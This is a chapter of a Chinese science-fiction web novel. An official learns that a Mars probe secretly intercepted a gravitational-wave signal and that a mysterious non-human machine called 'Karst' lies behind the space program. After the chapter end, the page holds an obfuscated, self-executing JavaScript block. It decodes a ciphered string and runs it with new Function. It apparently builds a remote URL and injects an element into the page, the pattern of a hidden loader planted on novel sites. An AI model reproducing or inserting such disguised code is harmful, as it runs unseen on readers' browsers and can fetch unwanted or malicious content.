钟成不是第一次来基地，相反他很熟悉这里，认得清每一处建筑的用途，甚至都记住了很多普通职员的面孔。
但当他站在舱门展开的舷梯上时，却感觉到了极度的陌生。
跑道和建筑物的灯光依旧，但地面上除了正常工作的地勤以外，还能看到一队队的高大身影在有秩序巡逻。
上百台‘勇士’机器人的光电探头冒着莹莹绿光，以极高的密度巡查着每一处地方，甚至还驾着巡逻车不时路过。
来跑道迎接的也只是普通工作人员，其他重要人物都没有到场。
林炬感受到了他质询的目光，微笑着解释道：
“抱歉钟局，我们也是迫不得已。”
“为什么。”
钟成嗫嚅出了自己都认为最无力的三个字。
“我说过，一切都是迫不得已，答应您的晚饭可能得迟一些，请先跟我来。”
坐在前往目的地的电动车上，林炬主动挑起了话题：
“您应该一直关注着‘离火’，我告诉您，它实际上半年前就已经抵达火星，并已经取得了大量的资料，现在监测网中那个只是伪装的无线电信标。
我们欺骗了您，‘离火’的推进器是核动力的，我们叫它‘彗星’推进平台，采用裂变反应堆供电的霍尔推进器方案，在送完‘离火’后已经返回，就停在地月拉格朗日点。”
原来是这样。
这与钟成的猜测大致相符，不过他没想到会是在这一天突然捅开。
他想说点什么，但最终还是保持了沉默。
“‘离火’搭载了非常全面的探测设备，在过去的时间里对火星的大部分表面都进行了详细测绘与勘察，所有的传回数据都在这里，我现在带您去看。”
电动车停在了空间部的大楼前，两人一前一后快步走入，带起一阵微风。
肖冈田此时正在一台电脑屏幕前趴着，见到两人松了口气，然后兴奋地指了指他们背后。
那是‘离火’传回的第一张火星超高清实拍图像，正在巨大的液晶屏幕上展示，有一种直面星球的巨大震撼力。
“看，这就是华国探测器拍摄到的第一张火星全图，这绝对是世界上最清晰的一张照片，其他探测器的镜头都远远比不上它。
这就是乌托邦平原，全世界都喜欢这里，这张照片上甚至有凤凰号探测器的着陆点。”
肖冈田认真地介绍着‘离火’所取得的诸多成就，作为史上最强大的综合探测器，‘离火’几乎做到了轨道探测器的极限。
就连钟成也忍不住暂时忘记了自己的疑问，沉醉地欣赏着一张张照片和探测图，光是这些资料就足够航天局忙活不少时间。
肖冈田以时间节点为顺序，一点点放出精挑细选的资料，直到5月8日时停下。
钟成还有些意犹未尽，忍不住赞叹道：
“非常全面，填补了国内相当一部分的空白啊……为什么不早点公布它，这不是坏事。”
他一直没能理解新远提前送达这颗探测器的用意，如果仅仅是为了早些获取资料，那完全没有这个必要才对，看上去这半年火星上也没有什么异动。
“因为之前这些——都不是我们的目的，或者说不是主要目的，真正的目标是它。”
屏幕上出现了零号平原的放大图，看上去完全正常，从左上角的水印看，甚至就是今天上午拍摄的。
“这是什么？”
“不知道，但我们叫它‘零号平原’，以前我们不知道那里有什么，现在也不知道，不过已经确认肯定有一样东西。”
钟成看的目光跟随肖冈田的视线移到林炬脸上，后者郑重地说道：
“零号平原下面有一座引力波发射器，并在13天前发出了一束经过调制的智慧信号。
离火搭载了一台很粗陋的引力波探测装置，理论上根本探测不到，但它太近了，所以我们截获了信号。
这是一束意义明确的智慧信号，发射时间持续0.5秒，功率约96千瓦，目标不明，信息不明，发射源归属者不明。”
“太荒谬了。”
钟成第一时间如此想道，但很快还是恢复了应有的冷静。
“你们早就知道那里……有东西？”
“是的，新远的目的就包括它。”
“你们为什么知道？”
“‘喀斯特’告诉了我们。”
“喀斯特是谁？”
“一台机器，一个人工智能，也可能是一种生命，总之它有实体存在。”
“喀斯特是人类造物吗？”
“不是，至少我们认为不是，发现它的时代甚至还只有电子管计算机，不过也幸亏那时候计算机和人工智能的概念出现了，否则‘喀斯特’的存在甚至无法被理解。”
和林炬的对答几乎没有延迟，答案是如此的简单干脆，一切都指向了“喀斯特”。
显然林炬也没有兴趣吊他的胃口，直接引路前往别处。
钟成跟着他一路来到从未进入的地下四层，并通过了多个安检通道以及机器人搜查，甚至看到了大量手持武器的机器士兵，他们端着的东西很像是科幻电影里的电磁轨道步枪。
又在一扇门前接受了机器人仔细的搜身，厚重的合金大门才向一旁滑开。
内部是一间全金属壁的封闭空间，中央基座上有一个棱角圆滑的梭形巨大黑色产物，旁边摆着一台笔记本电脑。
黑色梭形体的表面有着复杂的纹路，凌乱中却又充满细节，远远地能很明显看出似乎悬浮着三个字符，颇为奇异。
“‘喀斯特’，发现它的是一位美籍华人郭效，也就是郭申的叔父，作为一名航空工程师，他从30年代开始就为麦道公司效力，平时热爱旅行。
在一次出游的时候，他在一座喀斯特地貌山脉中发现了它，于是命名为‘喀斯特’，这，就是一切的开始。
从50年代开始到60年代末，郭效对‘喀斯特’进行了极其深入的研究，最后发展为了几个人的小团体，但一直到十年前，随着‘喀斯特’的一次变化这个团体突然开始兴盛并迅速扩张。
4年前，为了合理利用‘喀斯特’带来的技术以及实现它的目的，新远成立了。”
(本章完)
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();